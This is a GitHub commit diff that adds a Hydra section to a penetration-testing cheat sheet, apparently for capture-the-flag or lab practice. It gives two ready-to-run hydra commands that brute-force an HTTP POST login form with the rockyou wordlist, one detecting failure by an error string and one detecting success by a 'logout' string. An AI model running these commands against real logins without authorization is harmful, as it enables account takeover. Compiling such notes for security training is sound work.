Update Cheat Sheet.md

This commit is contained in:
ARZ 2021-04-13 17:39:40 +05:00 committed by GitHub
parent b7901e12b0
commit 29cba23b58
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -470,6 +470,18 @@ To get a RCE
* using `crackstation`
* using `seclists`
### Hydra
When the login shows an error message<br/>
`hydra -l admin -P /usr/share/wordlists/rockyou.txt <ip> http-post-form '/login.php:username=^USE
R^&password=^PASS^:F=Incorrect!' -t 64 -V -I`
When the login doesn't show an error message so we can specify a `success (s)` string which is shown after we login to a site , typically logout is shown to us.<br/>
`hydra -l admin -P /usr/share/wordlists/rockyou.txt <ip> http-post-form '/login.php:username=^USE
R^&password=^PASS^:S=logout' -t 64 -V -I`
# Hash Cracking
### Hashcat